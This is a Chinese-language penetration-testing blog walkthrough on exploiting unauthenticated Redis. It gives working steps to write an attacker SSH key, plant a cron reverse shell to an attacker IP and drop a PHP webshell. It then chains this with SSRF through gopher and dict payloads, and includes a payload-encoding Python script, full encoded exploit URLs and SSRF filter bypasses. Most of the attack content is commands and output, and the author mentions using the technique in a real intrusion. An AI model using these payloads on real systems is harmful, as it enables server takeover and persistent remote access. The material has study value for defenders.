Redis未授权访问漏洞
Redis是一种key-value键值对的非关系型数据库
默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis
Redis还支持本地存储,也就导致任意文件写入,攻击者在未授权访问以root身份运行的Redis时可将ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而通过对应私钥直接登录目标服务器
漏洞的产生条件:
- Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
- 没有设置密码认证,可以免密码远程登录Redis服务
- 以root身份运行Redis
Redis简单命令了解
查看版本信息
127.0.0.1:6379> info
清空所有Redis数据库的所有key 慎用
127.0.0.1:6379> flushall
设置Redis本地存储的文件夹和文件名
127.0.0.1:6379> config set dir [PATH]
127.0.0.1:6379> config set dbfilename [FILENAME]
将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘
127.0.0.1:6379> save
Redis.config简单配置了解
bind IP1 IP2 ...
bind表示本机可以接受连接的网卡地址;只有通过bind里面配置的IP才访问到Redis服务
protected-mode [no|yes]
设置protected-mode no
此时外部网络可以直接访问;开启保护模式需配置bind IP
或者设置访问密码
Redis漏洞环境
Attacker
Kali: 10.173.168.12
Victim
Ubuntu: 139.xxx.xx.xxx
CentOS: 10.173.168.6
修改redis.conf
# bind 127.0.0.1
protected-mode no
需要允许除本地外的主机远程连接redis服务
利用Redis实现SSH
Victim: Ubuntu
root身份运行Redis服务器
$ sudo redis-server /etc/redis.conf
Attacker本地生成一堆密钥
root@kali:~# ssh-keygen -t rsa
id_rsa.pub
root@kali:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali
Redis连接并将公钥写入Victim
root@kali:~/.ssh# redis-cli -h 139.xxx.xx.xxx
139.xxx.xx.xxx:6379> config set dir /root/.ssh
OK
139.xxx.xx.xxx:6379> config set dbfilename authorized_keys
OK
(0.54s)
139.xxx.xx.xxx:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali\n\n\n" # \n换行,不然SSH连接会失败
OK
139.xxx.xx.xxx:6379> save
OK
SSH连接Victim
root@kali:~/.ssh# ssh -i id_rsa root@139.xxx.xx.xxx
Welcome to Ubuntu
利用Redis实现反弹Shell
Victim: CentOS
root身份运行Redis服务器
[root@centos centos]# redis-server /etc/redis.conf
Redis连接并写入反弹Shell
10.173.168.6:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/10.173.168.12/23 0<&1 2>&1\n"
OK
10.173.168.6:6379> config set dir /var/spool/cron/
OK
10.173.168.6:6379> config set dbfilename root
OK
10.173.168.6:6379> save
OK
监听23端口并等待反弹Shell
root@kali:~# nc -lvp 23
反弹Shell在Ubuntu下无法实现
由于系统的不同,定时文件位置也不同
- Centos的定时任务文件在
/var/spool/cron/root
- Ubuntu定时任务文件在
/var/spool/cron/crontabs/root
- 二者共有定时任务文件在
/etc/crontab
Redis以root身份写的文件权限为644,普通用户则是664,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,而如果写入/etc/crontab
,由于存在乱码,因此ubuntu不能正确执行定时任务;而CentOS在/var/spool/cron/中的定时任务文件权限为644就能执行
故ubuntu下通过Redis无法成功反弹shell
利用Redis写入WebShell
当redis-server
以非root身份运行时,无法将/var/spool/cron/
以及/root/.ssh
设置为本地存储文件夹但可以写入一句话木马
Victim: Ubuntu
Redis连接并写入一句话
139.xxx.xx.xxx:6379> set x "<?php phpinfo();?>"
OK
139.xxx.xx.xxx:6379> config set dir /var/www/html
OK
139.xxx.xx.xxx:6379> config set dbfilename shell.php
OK
139.xxx.xx.xxx:6379> save
OK
访问shell.php
Redis未授权漏洞与SSRF的综合利用
了解SSRF
SSRF(Server-Side Request Forgery服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因是由服务端发起的,所以能够请求到与其相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容或加载指定地址的图片
常见格式
http://xxx.xxx.xx.xxx/index.php?url=
RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信
RESP协议在Redis 1.2中引入后成为Redis服务器通信的标准方式,其主要可序列化以下数据类型:整数,单行回复(简单字符串),数组,错误信息,多行字符串;RESP协议每部分都以 “\r\n” (CRLF) 结尾
RESP在Redis中用作请求 - 响应协议的方式:
- 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器
- 服务器根据命令实现回复一种RESP类型
在RESP中,数据类型取决于第一个字节:
- 对于Simple Strings,回复的第一个字节是+
- 对于error,回复的第一个字节是-
- 对于Integer,回复的第一个字节是:
- 对于Bulk Strings,回复的第一个字节是$
- 对于array,回复的第一个字节是*
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束
tcpdump抓取流量包
抓取6379端口流量
tcpdump port 6379 -w resp.pcap
连接远程Redis
xxx.xxx.xx.xxx:6379> set name hacker
OK
xxx.xxx.xx.xxx:6379> get name
"hacker"
xxx.xxx.xx.xxx:6379> del name
(integer) 1
xxx.xxx.xx.xxx:6379> get name
(nil)
所抓流量包
分析流量包
*3代表数组中数据个数为3(可以简单理解为空格为将命令分割为数组["set","name","test"]);$3代表字符串的长度,Hex中0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串;$-1表示空值
SSRF漏洞相关函数和协议
以下函数使用不当会导致SSRF:
- file_get_contents()
- fsockopen()
- curl_exec()
- fopen()
- readfile()
注意事项如下:
- 一般情况下PHP不会开启fopen的gopher
- file_get_contents的gopher协议不能URL编码
- file_get_contents关于gopher的302跳转会出现bug,导致利用失败
- curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
- curl_exec()默认不跟踪跳转
- file_get_contents支持php://input协议
SSRF可利用的协议:
-
file:在有回显的情况下,利用 file 协议可以读取任意内容
?url=file:///etc/passwd
-
dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
?url=dict://127.0.0.1:6379/info
-
gopher:可以截获get和post请求包,再构成符合gopher协议的请求,gopher传参需要加
_
?url=gopher://127.0.0.1:23/_hacker
-
http/s:探测内网主机存活
?url=http://172.27.16.9
利用gopher协议反弹shell
Victim: CentOS
socat抓取RESP协议流量
将反弹shell脚本写入shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
socat端口转发
[root@centos spool]# socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379
socat将本地2333端口转发到6379端口,访问本地2333端口实际上是访问6379端口
执行反弹shell
bash shell.sh 127.0.0.1 2333
获取流量(处理过,注意payload结尾回车)
*3\r
$3\r
set\r
$1\r
1\r
$56\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
*1\r
$4\r
save\r
转换获取数据
exp = ''
with open('payload.txt') as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print("gopher://127.0.0.1:6379/_" + exp.replace('$', '%24'))
curl测试转换结果
curl -v "gopher://127.0.0.1:6379/_*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2456%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
反弹成功
[root@centos ~]# ^C
[root@centos spool]# nc -lvp 23
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::23
Ncat: Listening on 0.0.0.0:23
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52642.
bash: no job control in this shell
[root@centos ~]#
Redis保护模式开启状态下SSRF
Victim: Ubuntu
一般情况下Redis保护模式开启状态
# bind 127.0.0.1
protected-mode yes
保护模式拒绝Redis的远程连接
漏洞代码
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
一句话木马转换
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print("gopher://127.0.0.1:6379/_" + s.replace("$", "%24"))
转换结果在使用curl发送的时候要把一句话的两个尖括号和;
和?
url编码
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3c%3fphp phpinfo()%3b%3f%3e%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
urlencode之后构造payload
http://139.xxx.xx.xxx/index.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250aweb%250d%250a%252418%250d%250a%253c%253fphp+phpinfo()%253b%253f%253e%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
木马植入成功
SSRF漏洞相关绕过
-
@
http://abc@127.0.0.1
-
短网址
http://tool.chinaz.com/tools/dwz.aspx 短链生成工具
-
句号
127。0。0。1
-
302跳转
https://tinyurl.com/ 302跳转平台
SSRF实战中的疑惑
在Ubuntu和CentOS靶机中测试以及进行真实渗透时出现一些奇怪现象,尝试在?url=
后面拼接gopher payload
时一直无法成功,于是尝试dict
协议执行Redis命令的方式去写入一句话竟然成功了
dict://127.0.0.1/set x '<?php phpinfo();?>'
发现目标服务器中php版本为V
而靶机中版本为php7,用dict
协议写入时会出现如下错误
-ERR Protocol error: unbalanced quotes in request
Reference
https://moelove.info/2017/03/05/理解-Redis-的-RESP-协议/
https://www.jianshu.com/p/20095384e5d2
非常感谢以上作者的资料分享
右下角还有打赏功能呦~要不测试一下打赏功能能否正常运行?